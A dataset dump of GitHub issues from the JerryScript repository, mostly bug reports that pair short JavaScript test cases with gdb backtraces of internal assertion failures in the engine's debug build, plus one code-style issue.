issue_owner_repo
sequencelengths 2
2
| issue_body
stringlengths 0
261k
⌀ | issue_title
stringlengths 1
925
| issue_comments_url
stringlengths 56
81
| issue_comments_count
int64 0
2.5k
| issue_created_at
stringlengths 20
20
| issue_updated_at
stringlengths 20
20
| issue_html_url
stringlengths 37
62
| issue_github_id
int64 387k
2.46B
| issue_number
int64 1
127k
|
---|---|---|---|---|---|---|---|---|---|
[
"jerryscript-project",
"jerryscript"
] | ###### Jerry version:
```
Checked revision: 77df022
Build: debug.linux
```
###### OS:
```
Ubuntu 14.04, x86_64
```
###### Test case:
``` javascript
do {
try {
} finally {
break;
}
} while (false);
```
###### Backtrace:
``` javascript
ICE: Assertion '(!ecma_is_completion_value_empty (finally_completion) && int_data->pos <= finally_end_oc) || (ecma_is_completion_value_empty (finally_completion) && int_data->pos == finally_end_oc)' failed at jerryscript/jerry-core/vm/opcodes-ecma-try-catch-finally.cpp(opfunc_try_block):119.
Error: ERR_FAILED_INTERNAL_ASSERTION
[Inferior 1 (process 18289) exited with code 0170]
(gdb) bt
#0 opfunc_try_block (opdata=..., int_data=0x7fffffffd560) at jerryscript/jerry-core/vm/opcodes-ecma-try-catch-finally.cpp:118
#1 0x00000000004c1a11 in vm_loop (int_data=0x7fffffffd560) at jerryscript/jerry-core/vm/vm.cpp:452
#2 0x00000000004b86e5 in vm_run_from_pos (start_pos=1, this_binding_value=15, lex_env_p=0x7eb770 <_ZL13mem_heap_area.4015+48>, is_strict=false,
is_eval_code=false) at jerryscript/jerry-core/vm/vm.cpp:528
#3 0x00000000004c17df in vm_run_global () at jerryscript/jerry-core/vm/vm.cpp:383
#4 0x00000000004bf487 in jerry_run () at jerryscript/jerry-core/jerry.cpp:1243
#5 0x00000000004bdab6 in main (argc=2, argv=0x7fffffffd908) at jerryscript/main-linux.cpp:248
```
| Assertion '(!ecma_is_completion_value_empty (finally_completion) && int_data->pos <= finally_end_oc) || (ecma_is_completion_value_empty (finally_completion) && int_data->pos == finally_end_oc)' failed in opfunc_try_block | https://api.github.com/repos/jerryscript-project/jerryscript/issues/128/comments | 1 | 2015-05-29T08:38:20Z | 2016-11-25T06:26:27Z | https://github.com/jerryscript-project/jerryscript/issues/128 | 82,333,892 | 128 |
[
"jerryscript-project",
"jerryscript"
] | ###### Jerry version:
```
Checked revision: aaeec7f
Build: debug.linux
```
###### OS:
```
Ubuntu 14.04, x86_64
```
###### Test case:
``` javascript
var v_1 = (1 + (1 + (1 +
(1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 +
(1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 +
(1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 +
1
)) )) )) )) )) )) )) )) )) ))
)) )) )) )) )) )) )) )) )) ))
)) )) )) )) )) )) )) )) )) ))
)) );
```
###### Backtrace:
``` javascript
ICE: Assertion 'om->lit_id[i] != NOT_A_LITERAL' failed at jerryscript/jerry-core/parser/js/scopes-tree.cpp(insert_uids_to_lit_id_map):195.
Error: ERR_FAILED_INTERNAL_ASSERTION
[Inferior 1 (process 14242) exited with code 0170]
(gdb) bt
#0 insert_uids_to_lit_id_map (om=0x8280f0 <_ZL13mem_heap_area.4015+256432>, mask=273)
at jerryscript/jerry-core/parser/js/scopes-tree.cpp:195
#1 0x000000000040b462 in count_new_literals_in_opcode (tree=0x829110 <_ZL13mem_heap_area.4015+260560>, opc_index=127)
at jerryscript/jerry-core/parser/js/scopes-tree.cpp:402
#2 0x000000000040b68e in scopes_tree_count_literals_in_blocks (tree=0x829110 <_ZL13mem_heap_area.4015+260560>)
at jerryscript/jerry-core/parser/js/scopes-tree.cpp:547
#3 0x000000000045f726 in serializer_merge_scopes_into_bytecode () at jerryscript/jerry-core/parser/js/serializer.cpp:89
#4 0x000000000045f338 in parser_parse_program () at jerryscript/jerry-core/parser/js/parser.cpp:2739
#5 0x00000000004bd485 in jerry_parse (
source_p=0x6e96c0 <_ZL13source_buffer.2441> "var v_1 = (1 + (1 + (1 +\n (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 +\n (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1 + (1"..., source_size=454)
at jerryscript/jerry-core/jerry.cpp:1211
#6 0x00000000004bbae0 in main (argc=2, argv=0x7fffffffd938) at jerryscript/main-linux.cpp:239
```
| Assertion 'om->lit_id[i] != NOT_A_LITERAL' failed in insert_uids_to_lit_id_map | https://api.github.com/repos/jerryscript-project/jerryscript/issues/123/comments | 2 | 2015-05-28T15:22:47Z | 2016-02-08T08:58:00Z | https://github.com/jerryscript-project/jerryscript/issues/123 | 81,980,883 | 123 |
[
"jerryscript-project",
"jerryscript"
] | ###### Jerry version:
```
Checked revision: aaeec7f
Build: debug.linux
```
###### OS:
```
Ubuntu 14.04, x86_64
```
###### Test case:
``` javascript
print(this, []);
```
###### Backtrace:
``` javascript
ICE: Assertion 'ret_value == ecma_make_empty_completion_value ()' failed at jerryscript/jerry-core/vm/opcodes-native-call.cpp(opfunc_native_call):77.
Error: ERR_FAILED_INTERNAL_ASSERTION
[Inferior 1 (process 13969) exited with code 0170]
(gdb) bt
#0 opfunc_native_call (opdata=..., int_data=0x7fffffffd590) at jerryscript/jerry-core/vm/opcodes-native-call.cpp:75
#1 0x00000000004bfa60 in run_int_loop (int_data=0x7fffffffd590) at jerryscript/jerry-core/vm/vm.cpp:440
#2 0x00000000004b678d in run_int_from_pos (start_pos=0, this_binding_value=15, lex_env_p=0x7e9770 <_ZL13mem_heap_area.4015+48>, is_strict=false,
is_eval_code=false) at jerryscript/jerry-core/vm/vm.cpp:513
#3 0x00000000004bf82e in run_int () at jerryscript/jerry-core/vm/vm.cpp:381
#4 0x00000000004bd4d0 in jerry_run () at jerryscript/jerry-core/jerry.cpp:1243
#5 0x00000000004bbaff in main (argc=2, argv=0x7fffffffd938) at jerryscript/main-linux.cpp:248
```
| Assertion 'ret_value == ecma_make_empty_completion_value ()' failed in opfunc_native_call | https://api.github.com/repos/jerryscript-project/jerryscript/issues/122/comments | 1 | 2015-05-28T15:13:44Z | 2016-11-25T06:26:27Z | https://github.com/jerryscript-project/jerryscript/issues/122 | 81,976,023 | 122 |
[
"jerryscript-project",
"jerryscript"
] | ###### Jerry version:
```
Checked revision: aaeec7f
Build: debug.linux
```
###### OS:
```
Ubuntu 14.04, x86_64
```
###### Test case:
``` javascript
function f_1() {
v_1 + v_1;
}
f_1(new f_1);
```
###### Backtrace:
``` javascript
ICE: Assertion 'mem_pools == NULL' failed at jerryscript/jerry-core/mem/mem-poolman.cpp(mem_pools_finalize):89.
Error: ERR_FAILED_INTERNAL_ASSERTION
[Inferior 1 (process 13822) exited with code 0170]
(gdb) bt
#0 mem_pools_finalize () at jerryscript/jerry-core/mem/mem-poolman.cpp:89
#1 0x00000000004bed6b in mem_finalize (is_show_mem_stats=false) at jerryscript/jerry-core/mem/mem-allocator.cpp:58
#2 0x00000000004bd3f3 in jerry_cleanup () at jerryscript/jerry-core/jerry.cpp:1173
#3 0x00000000004bbb07 in main (argc=2, argv=0x7fffffffd938) at jerryscript/main-linux.cpp:252
```
| Assertion 'mem_pools == NULL' failed in mem_pools_finalize | https://api.github.com/repos/jerryscript-project/jerryscript/issues/121/comments | 2 | 2015-05-28T15:05:08Z | 2016-11-25T06:26:27Z | https://github.com/jerryscript-project/jerryscript/issues/121 | 81,971,826 | 121 |
[
"jerryscript-project",
"jerryscript"
] | ###### Jerry version:
```
Checked revision: aaeec7f
Build: debug.linux
```
###### OS:
```
Ubuntu 14.04, x86_64
```
###### Test case:
``` javascript
for(;;) {}
```
###### Backtrace:
``` javascript
ICE: Assertion 'offset != 0 && (uint32_t) int_data->pos >= offset' failed at jerryscript/jerry-core/vm/opcodes-agnostic.cpp(opfunc_jmp_up):195.
Error: ERR_FAILED_INTERNAL_ASSERTION
[Inferior 1 (process 13724) exited with code 0170]
(gdb) bt
#0 opfunc_jmp_up (opdata=..., int_data=0x7fffffffd590) at jerryscript/jerry-core/vm/opcodes-agnostic.cpp:195
#1 0x00000000004bfa60 in run_int_loop (int_data=0x7fffffffd590) at jerryscript/jerry-core/vm/vm.cpp:440
#2 0x00000000004b678d in run_int_from_pos (start_pos=0, this_binding_value=15, lex_env_p=0x7e9770 <_ZL13mem_heap_area.4015+48>, is_strict=false,
is_eval_code=false) at jerryscript/jerry-core/vm/vm.cpp:513
#3 0x00000000004bf82e in run_int () at jerryscript/jerry-core/vm/vm.cpp:381
#4 0x00000000004bd4d0 in jerry_run () at jerryscript/jerry-core/jerry.cpp:1243
#5 0x00000000004bbaff in main (argc=2, argv=0x7fffffffd938) at jerryscript/main-linux.cpp:248
```
| Assertion 'offset != 0 && (uint32_t) int_data->pos >= offset' failed in opfunc_jmp_up | https://api.github.com/repos/jerryscript-project/jerryscript/issues/120/comments | 3 | 2015-05-28T15:02:15Z | 2016-11-25T06:26:27Z | https://github.com/jerryscript-project/jerryscript/issues/120 | 81,970,507 | 120 |
[
"jerryscript-project",
"jerryscript"
] | Currently, there are four places, where `nullptr` is used instead of `NULL`.
It is a style issue, because current practice is using `NULL`.
| Replacement of nullptr with NULL | https://api.github.com/repos/jerryscript-project/jerryscript/issues/119/comments | 2 | 2015-05-28T15:00:29Z | 2015-06-12T07:28:56Z | https://github.com/jerryscript-project/jerryscript/issues/119 | 81,969,763 | 119 |
[
"jerryscript-project",
"jerryscript"
] | ###### Jerry version:
```
Checked revision: aaeec7f
Build: debug.linux
```
###### OS:
```
Ubuntu 14.04, x86_64
```
###### Test case:
``` javascript
function f_1() {
f_1();
}
f_1();
```
###### Backtrace:
``` javascript
ICE: Assertion 'new_bit_field_value < (1ull << width)' failed at jerryscript/jerry-core/jrt/jrt-bit-fields.cpp(jrt_set_bit_field_value):55.
Error: ERR_FAILED_INTERNAL_ASSERTION
(gdb) bt
#0 0x0000000000455cf1 in jrt_set_bit_field_value (container=4611692615966851101, new_bit_field_value=1024, lsb=16, width=10)
at jerryscript/jerry-core/jrt/jrt-bit-fields.cpp:55
#1 0x0000000000485117 in ecma_gc_set_object_refs(ecma_object_t*, unsigned int) [clone .24708] (object_p=0x7e9758 <_ZL13mem_heap_area.4015+24>,
refs=1024) at jerryscript/jerry-core/ecma/base/ecma-gc.cpp:98
#2 0x000000000047947c in ecma_ref_object (object_p=0x7e9758 <_ZL13mem_heap_area.4015+24>)
at jerryscript/jerry-core/ecma/base/ecma-gc.cpp:193
#3 0x00000000004a69ec in ecma_builtin_get (builtin_id=ECMA_BUILTIN_ID_GLOBAL)
at jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.cpp:80
#4 0x00000000004682c8 in ecma_op_function_call (func_obj_p=0x7e97b8 <_ZL13mem_heap_area.4015+120>, this_arg_value=4, arguments_list_p=0x0,
arguments_list_len=0) at jerryscript/jerry-core/ecma/operations/ecma-function-object.cpp:559
#5 0x000000000045ad16 in opfunc_call_n (opdata=..., int_data=0x7ffffff12450) at jerryscript/jerry-core/vm/opcodes.cpp:694
#6 0x00000000004bfa81 in run_int_loop (int_data=0x7ffffff12450) at jerryscript/jerry-core/vm/vm.cpp:440
#7 0x00000000004b67ae in run_int_from_pos (start_pos=3, this_binding_value=15, lex_env_p=0x7ede88 <_ZL13mem_heap_area.4015+18248>, is_strict=false,
is_eval_code=false) at jerryscript/jerry-core/vm/vm.cpp:513
#8 0x0000000000468701 in ecma_op_function_call (func_obj_p=0x7e97b8 <_ZL13mem_heap_area.4015+120>, this_arg_value=4, arguments_list_p=0x0,
arguments_list_len=0) at jerryscript/jerry-core/ecma/operations/ecma-function-object.cpp:586
#9 0x000000000045ad16 in opfunc_call_n (opdata=..., int_data=0x7ffffff12800) at jerryscript/jerry-core/vm/opcodes.cpp:694
#10 0x00000000004bfa81 in run_int_loop (int_data=0x7ffffff12800) at jerryscript/jerry-core/vm/vm.cpp:440
#11 0x00000000004b67ae in run_int_from_pos (start_pos=3, this_binding_value=15, lex_env_p=0x7ede78 <_ZL13mem_heap_area.4015+18232>, is_strict=false,
is_eval_code=false) at jerryscript/jerry-core/vm/vm.cpp:513
#12 0x0000000000468701 in ecma_op_function_call (func_obj_p=0x7e97b8 <_ZL13mem_heap_area.4015+120>, this_arg_value=4, arguments_list_p=0x0,
arguments_list_len=0) at jerryscript/jerry-core/ecma/operations/ecma-function-object.cpp:586
#13 0x000000000045ad16 in opfunc_call_n (opdata=..., int_data=0x7ffffff12bb0) at jerryscript/jerry-core/vm/opcodes.cpp:694
#14 0x00000000004bfa81 in run_int_loop (int_data=0x7ffffff12bb0) at jerryscript/jerry-core/vm/vm.cpp:440
#15 0x00000000004b67ae in run_int_from_pos (start_pos=3, this_binding_value=15, lex_env_p=0x7ede68 <_ZL13mem_heap_area.4015+18216>, is_strict=false,
is_eval_code=false) at jerryscript/jerry-core/vm/vm.cpp:513
#16 0x0000000000468701 in ecma_op_function_call (func_obj_p=0x7e97b8 <_ZL13mem_heap_area.4015+120>, this_arg_value=4, arguments_list_p=0x0,
arguments_list_len=0) at jerryscript/jerry-core/ecma/operations/ecma-function-object.cpp:586
#17 0x000000000045ad16 in opfunc_call_n (opdata=..., int_data=0x7ffffff12f60) at jerryscript/jerry-core/vm/opcodes.cpp:694
#18 0x00000000004bfa81 in run_int_loop (int_data=0x7ffffff12f60) at jerryscript/jerry-core/vm/vm.cpp:440
#19 0x00000000004b67ae in run_int_from_pos (start_pos=3, this_binding_value=15, lex_env_p=0x7ede58 <_ZL13mem_heap_area.4015+18200>, is_strict=false,
is_eval_code=false) at jerryscript/jerry-core/vm/vm.cpp:513
// ... The last 4 frames are repeated many times ...
#4084 0x0000000000468701 in ecma_op_function_call (func_obj_p=0x7e97b8 <_ZL13mem_heap_area.4015+120>, this_arg_value=4, arguments_list_p=0x0,
arguments_list_len=0) at jerryscript/jerry-core/ecma/operations/ecma-function-object.cpp:586
#4085 0x000000000045ad16 in opfunc_call_n (opdata=..., int_data=0x7fffffffd590) at jerryscript/jerry-core/vm/opcodes.cpp:694
#4086 0x00000000004bfa81 in run_int_loop (int_data=0x7fffffffd590) at jerryscript/jerry-core/vm/vm.cpp:440
#4087 0x00000000004b67ae in run_int_from_pos (start_pos=0, this_binding_value=15, lex_env_p=0x7e9770 <_ZL13mem_heap_area.4015+48>, is_strict=false,
is_eval_code=false) at jerryscript/jerry-core/vm/vm.cpp:513
#4088 0x00000000004bf84f in run_int () at jerryscript/jerry-core/vm/vm.cpp:381
#4089 0x00000000004bd4f1 in jerry_run () at jerryscript/jerry-core/jerry.cpp:1243
#4090 0x00000000004bbb20 in main (argc=2, argv=0x7fffffffd938) at jerryscript/main-linux.cpp:248
```
| Assertion 'new_bit_field_value < (1ull << width)' failed in jrt_set_bit_field_value | https://api.github.com/repos/jerryscript-project/jerryscript/issues/118/comments | 3 | 2015-05-28T14:59:28Z | 2016-02-24T08:47:59Z | https://github.com/jerryscript-project/jerryscript/issues/118 | 81,969,198 | 118 |
[
"jerryscript-project",
"jerryscript"
] | ###### Jerry version:
```
Checked revision: aaeec7f
Build: debug.linux
```
###### OS:
```
Ubuntu 14.04, x86_64
```
###### Test case:
``` javascript
[print(typeof v_1)];
```
###### Backtrace:
``` javascript
ICE: Assertion '!ecma_is_value_empty (reg_value)' failed at jerryscript/jerry-core/vm/opcodes-helpers-variables.cpp(get_variable_value):87.
Error: ERR_FAILED_INTERNAL_ASSERTION
[Inferior 1 (process 12086) exited with code 0170]
(gdb) bt
#0 get_variable_value (int_data=0x7fffffffd590, var_idx=130 '\202', do_eval_or_arguments_check=false)
at jerryscript/jerry-core/vm/opcodes-helpers-variables.cpp:87
#1 0x00000000004a662b in fill_varg_list (int_data=0x7fffffffd590, args_number=1, arg_values=0x8296d0 <_ZL13mem_heap_area.4015+262032>,
out_arg_number_p=0x7fffffffd466) at jerryscript/jerry-core/vm/opcodes-varg.cpp:53
#2 0x000000000045005f in opfunc_array_decl (opdata=..., int_data=0x7fffffffd590) at jerryscript/jerry-core/vm/opcodes.cpp:835
#3 0x00000000004bfa60 in run_int_loop (int_data=0x7fffffffd590) at jerryscript/jerry-core/vm/vm.cpp:440
#4 0x00000000004b678d in run_int_from_pos (start_pos=0, this_binding_value=15, lex_env_p=0x7e9770 <_ZL13mem_heap_area.4015+48>, is_strict=false,
is_eval_code=false) at jerryscript/jerry-core/vm/vm.cpp:513
#5 0x00000000004bf82e in run_int () at jerryscript/jerry-core/vm/vm.cpp:381
#6 0x00000000004bd4d0 in jerry_run () at jerryscript/jerry-core/jerry.cpp:1243
#7 0x00000000004bbaff in main (argc=2, argv=0x7fffffffd938) at jerryscript/main-linux.cpp:248
```
| Assertion '!ecma_is_value_empty (reg_value)' failed in get_variable_value | https://api.github.com/repos/jerryscript-project/jerryscript/issues/117/comments | 1 | 2015-05-28T14:34:44Z | 2015-06-23T10:36:17Z | https://github.com/jerryscript-project/jerryscript/issues/117 | 81,956,406 | 117 |
[
"jerryscript-project",
"jerryscript"
] | ###### Jerry version:
```
Checked revision: aaeec7f
Build: debug.linux
```
###### OS:
```
Ubuntu 14.04, x86_64
```
###### Test case:
``` javascript
Symbol.for.length.toString.length.toExponential.length.valueOf.length.toExponential.length.valueOf.length.toFixed.name.anchor.name.bold.length.toExponential.caller;
```
###### Backtrace:
``` javascript
ICE: Assertion 'id < bytecode_data.literals_count' failed at jerryscript/jerry-core/parser/js/serializer.cpp(serializer_get_literal_by_id):50.
Error: ERR_FAILED_INTERNAL_ASSERTION
[Inferior 1 (process 12017) exited with code 0170]
(gdb) bt
#0 serializer_get_literal_by_id (id=255) at jerryscript/jerry-core/parser/js/serializer.cpp:50
#1 0x000000000047ebdf in ecma_init_ecma_string_from_lit_index (string_p=0x7e9780 <_ZL13mem_heap_area.4015+64>, lit_index=255, is_stack_var=false)
at jerryscript/jerry-core/ecma/base/ecma-helpers-string.cpp:312
#2 0x000000000047f215 in ecma_new_ecma_string_from_lit_index (lit_index=255)
at jerryscript/jerry-core/ecma/base/ecma-helpers-string.cpp:498
#3 0x000000000045690b in opfunc_assignment (opdata=..., int_data=0x7fffffffd590) at jerryscript/jerry-core/vm/opcodes.cpp:102
#4 0x00000000004bfa60 in run_int_loop (int_data=0x7fffffffd590) at jerryscript/jerry-core/vm/vm.cpp:440
#5 0x00000000004b678d in run_int_from_pos (start_pos=0, this_binding_value=15, lex_env_p=0x7e9770 <_ZL13mem_heap_area.4015+48>, is_strict=false,
is_eval_code=false) at jerryscript/jerry-core/vm/vm.cpp:513
#6 0x00000000004bf82e in run_int () at jerryscript/jerry-core/vm/vm.cpp:381
#7 0x00000000004bd4d0 in jerry_run () at jerryscript/jerry-core/jerry.cpp:1243
#8 0x00000000004bbaff in main (argc=2, argv=0x7fffffffd938) at jerryscript/main-linux.cpp:248
```
| Assertion 'id < bytecode_data.literals_count' failed in serializer_get_literal_by_id | https://api.github.com/repos/jerryscript-project/jerryscript/issues/116/comments | 2 | 2015-05-28T14:31:51Z | 2015-06-23T10:09:38Z | https://github.com/jerryscript-project/jerryscript/issues/116 | 81,955,162 | 116 |
[
"jerryscript-project",
"jerryscript"
] | ###### Jerry version:
```
Checked revision: aaeec7f
Build: debug.linux
```
###### OS:
```
Ubuntu 14.04, x86_64
```
###### Test case:
``` javascript
var v_1 = [,];
Object.defineProperty(v_1, "0", {
set: function() {},
});
```
###### Backtrace:
``` javascript
ICE: Assertion 'prop_p->type == ECMA_PROPERTY_NAMEDACCESSOR' failed at jerryscript/jerry-core/ecma/base/ecma-helpers.cpp(ecma_is_property_configurable):1121.
Error: ERR_FAILED_INTERNAL_ASSERTION
[Inferior 1 (process 11923) exited with code 0170]
(gdb) bt
#0 ecma_is_property_configurable (prop_p=0x7e97f8 <_ZL13mem_heap_area.4015+184>)
at jerryscript/jerry-core/ecma/base/ecma-helpers.cpp:1121
#1 0x000000000046010e in ecma_op_general_object_define_own_property (obj_p=0x7e97c0 <_ZL13mem_heap_area.4015+128>,
property_name_p=0x7e9b68 <_ZL13mem_heap_area.4015+1064>, property_desc_p=0x7fffffffd060, is_throw=false)
at jerryscript/jerry-core/ecma/operations/ecma-objects-general.cpp:760
#2 0x00000000004739bc in ecma_op_array_object_define_own_property (obj_p=0x7e97c0 <_ZL13mem_heap_area.4015+128>,
property_name_p=0x7e9b68 <_ZL13mem_heap_area.4015+1064>, property_desc_p=0x7fffffffd060, is_throw=true)
at jerryscript/jerry-core/ecma/operations/ecma-array-object.cpp:430
#3 0x000000000047b188 in ecma_op_object_define_own_property (obj_p=0x7e97c0 <_ZL13mem_heap_area.4015+128>,
property_name_p=0x7e9b68 <_ZL13mem_heap_area.4015+1064>, property_desc_p=0x7fffffffd060, is_throw=true)
at jerryscript/jerry-core/ecma/operations/ecma-objects.cpp:451
#4 0x0000000000495c51 in ecma_builtin_object_object_define_property(unsigned int, unsigned int, unsigned int, unsigned int) [clone .19522] (
this_arg=111, arg1=67, arg2=534, arg3=539) at jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-object.cpp:438
#5 0x00000000004a0573 in ecma_builtin_object_dispatch_routine (builtin_routine_id=50, this_arg_value=111,
arguments_list=0x8296d0 <_ZL13mem_heap_area.4015+262032>, arguments_number=3)
at jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-object.inc.h:73
#6 0x00000000004a907d in ecma_builtin_dispatch_routine (builtin_object_id=ECMA_BUILTIN_ID_OBJECT, builtin_routine_id=50, this_arg_value=111,
arguments_list=0x8296d0 <_ZL13mem_heap_area.4015+262032>, arguments_number=3)
at jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.inc.h:29
#7 0x00000000004a884b in ecma_builtin_dispatch_call (obj_p=0x7e9860 <_ZL13mem_heap_area.4015+288>, this_arg_value=111,
arguments_list_p=0x8296d0 <_ZL13mem_heap_area.4015+262032>, arguments_list_len=3)
at jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.cpp:398
#8 0x0000000000468908 in ecma_op_function_call (func_obj_p=0x7e9860 <_ZL13mem_heap_area.4015+288>, this_arg_value=111,
arguments_list_p=0x8296d0 <_ZL13mem_heap_area.4015+262032>, arguments_list_len=3)
at jerryscript/jerry-core/ecma/operations/ecma-function-object.cpp:607
#9 0x000000000045acf5 in opfunc_call_n (opdata=..., int_data=0x7fffffffd590) at jerryscript/jerry-core/vm/opcodes.cpp:694
#10 0x00000000004bfa60 in run_int_loop (int_data=0x7fffffffd590) at jerryscript/jerry-core/vm/vm.cpp:440
#11 0x00000000004b678d in run_int_from_pos (start_pos=0, this_binding_value=15, lex_env_p=0x7e9770 <_ZL13mem_heap_area.4015+48>, is_strict=false,
is_eval_code=false) at jerryscript/jerry-core/vm/vm.cpp:513
#12 0x00000000004bf82e in run_int () at jerryscript/jerry-core/vm/vm.cpp:381
#13 0x00000000004bd4d0 in jerry_run () at jerryscript/jerry-core/jerry.cpp:1243
#14 0x00000000004bbaff in main (argc=2, argv=0x7fffffffd938) at jerryscript/main-linux.cpp:248
```
| Assertion 'prop_p->type == ECMA_PROPERTY_NAMEDACCESSOR' failed in ecma_is_property_configurable | https://api.github.com/repos/jerryscript-project/jerryscript/issues/115/comments | 6 | 2015-05-28T14:28:21Z | 2016-11-25T06:26:27Z | https://github.com/jerryscript-project/jerryscript/issues/115 | 81,953,585 | 115 |
[
"jerryscript-project",
"jerryscript"
] | ###### Jerry version:
```
Checked revision: aaeec7f
Build: debug.linux
```
###### OS:
```
Ubuntu 14.04, x86_64
```
###### Test case:
``` javascript
v_1 = 1;
v_1[1] = 1;
```
###### Backtrace:
``` javascript
ICE: Assertion 'simple_value == ECMA_SIMPLE_VALUE_UNDEFINED || simple_value == ECMA_SIMPLE_VALUE_NULL || simple_value == ECMA_SIMPLE_VALUE_FALSE || simple_value == ECMA_SIMPLE_VALUE_TRUE' failed at jerryscript/jerry-core/ecma/base/ecma-helpers-value.cpp(ecma_make_simple_completion_value):597.
Error: ERR_FAILED_INTERNAL_ASSERTION
(gdb) bt
#0 ecma_make_simple_completion_value (simple_value=ECMA_SIMPLE_VALUE_EMPTY)
at jerryscript/jerry-core/ecma/base/ecma-helpers-value.cpp:594
#1 ecma_reject_put (is_throw=false) at jerryscript/jerry-core/ecma/operations/ecma-get-put-value.cpp:192
#2 0x000000000047cd89 in ecma_op_put_value_object_base (ref=..., value=73)
at jerryscript/jerry-core/ecma/operations/ecma-get-put-value.cpp:279
#3 0x0000000000454062 in opfunc_prop_setter (opdata=..., int_data=0x7fffffffd590) at jerryscript/jerry-core/vm/opcodes.cpp:1171
#4 0x00000000004bfa60 in run_int_loop (int_data=0x7fffffffd590) at jerryscript/jerry-core/vm/vm.cpp:440
#5 0x00000000004b678d in run_int_from_pos (start_pos=0, this_binding_value=15, lex_env_p=0x7e9770 <_ZL13mem_heap_area.4015+48>, is_strict=false,
is_eval_code=false) at jerryscript/jerry-core/vm/vm.cpp:513
#6 0x00000000004bf82e in run_int () at jerryscript/jerry-core/vm/vm.cpp:381
#7 0x00000000004bd4d0 in jerry_run () at jerryscript/jerry-core/jerry.cpp:1243
#8 0x00000000004bbaff in main (argc=2, argv=0x7fffffffd938) at jerryscript/main-linux.cpp:248
```
| Assertion 'simple_value == ECMA_SIMPLE_VALUE_UNDEFINED || simple_value == ECMA_SIMPLE_VALUE_NULL || simple_value == ECMA_SIMPLE_VALUE_FALSE || simple_value == ECMA_SIMPLE_VALUE_TRUE' failed in ecma_make_simple_completion_value | https://api.github.com/repos/jerryscript-project/jerryscript/issues/114/comments | 2 | 2015-05-28T14:23:25Z | 2016-11-25T06:26:27Z | https://github.com/jerryscript-project/jerryscript/issues/114 | 81,950,912 | 114 |
[
"jerryscript-project",
"jerryscript"
] | ###### Jerry version:
```
Checked revision: aaeec7f
Build: debug.linux
```
###### OS:
```
Ubuntu 14.04, x86_64
```
###### Test case:
``` javascript
v_1 = [];
v_1 * v_1[v_1 % v_1];
```
###### Backtrace:
``` javascript
ICE: Assertion 'ecma_string_get_length (string_p) > ECMA_STRING_MAGIC_STRING_LENGTH_LIMIT || !ecma_is_string_magic_longpath (string_p, out_id_p)' failed at jerryscript/jerry-core/ecma/base/ecma-helpers-string.cpp(ecma_is_string_magic):1698.
Error: ERR_FAILED_INTERNAL_ASSERTION
[Inferior 1 (process 11070) exited with code 0170]
(gdb) bt
#0 ecma_is_string_magic (string_p=0x7e9a80 <_ZL13mem_heap_area.4015+832>, out_id_p=0x7fffffffcfb8)
at jerryscript/jerry-core/ecma/base/ecma-helpers-string.cpp:1697
#1 0x0000000000445127 in ecma_builtin_array_prototype_try_to_instantiate_property (obj_p=0x7e9798 <_ZL13mem_heap_area.4015+88>,
prop_name_p=0x7e9a80 <_ZL13mem_heap_area.4015+832>)
at jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-internal-routines-template.inc.h:112
#2 0x00000000004a82c9 in ecma_builtin_try_to_instantiate_property (object_p=0x7e9798 <_ZL13mem_heap_area.4015+88>,
string_p=0x7e9a80 <_ZL13mem_heap_area.4015+832>) at jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.inc.h:39
#3 0x000000000047aaf2 in ecma_op_object_get_own_property_longpath (obj_p=0x7e9798 <_ZL13mem_heap_area.4015+88>,
property_name_p=0x7e9a80 <_ZL13mem_heap_area.4015+832>) at jerryscript/jerry-core/ecma/operations/ecma-objects.cpp:156
#4 0x000000000047ad19 in ecma_op_object_get_own_property (obj_p=0x7e9798 <_ZL13mem_heap_area.4015+88>,
property_name_p=0x7e9a80 <_ZL13mem_heap_area.4015+832>) at jerryscript/jerry-core/ecma/operations/ecma-objects.cpp:188
#5 0x000000000046a72c in ecma_op_general_object_get_property (obj_p=0x7e9798 <_ZL13mem_heap_area.4015+88>,
property_name_p=0x7e9a80 <_ZL13mem_heap_area.4015+832>)
at jerryscript/jerry-core/ecma/operations/ecma-objects-general.cpp:202
#6 0x000000000047adc4 in ecma_op_object_get_property (obj_p=0x7e9798 <_ZL13mem_heap_area.4015+88>,
property_name_p=0x7e9a80 <_ZL13mem_heap_area.4015+832>) at jerryscript/jerry-core/ecma/operations/ecma-objects.cpp:230
#7 0x000000000046a767 in ecma_op_general_object_get_property (obj_p=0x7e97b0 <_ZL13mem_heap_area.4015+112>,
property_name_p=0x7e9a80 <_ZL13mem_heap_area.4015+832>)
at jerryscript/jerry-core/ecma/operations/ecma-objects-general.cpp:216
#8 0x000000000047adc4 in ecma_op_object_get_property (obj_p=0x7e97b0 <_ZL13mem_heap_area.4015+112>,
property_name_p=0x7e9a80 <_ZL13mem_heap_area.4015+832>) at jerryscript/jerry-core/ecma/operations/ecma-objects.cpp:230
#9 0x000000000046a23c in ecma_op_general_object_get (obj_p=0x7e97b0 <_ZL13mem_heap_area.4015+112>,
property_name_p=0x7e9a80 <_ZL13mem_heap_area.4015+832>)
at jerryscript/jerry-core/ecma/operations/ecma-objects-general.cpp:126
#10 0x000000000047a9d5 in ecma_op_object_get (obj_p=0x7e97b0 <_ZL13mem_heap_area.4015+112>, property_name_p=0x7e9a80 <_ZL13mem_heap_area.4015+832>)
at jerryscript/jerry-core/ecma/operations/ecma-objects.cpp:83
#11 0x000000000047b55e in ecma_op_get_value_object_base (ref=...)
at jerryscript/jerry-core/ecma/operations/ecma-get-put-value.cpp:101
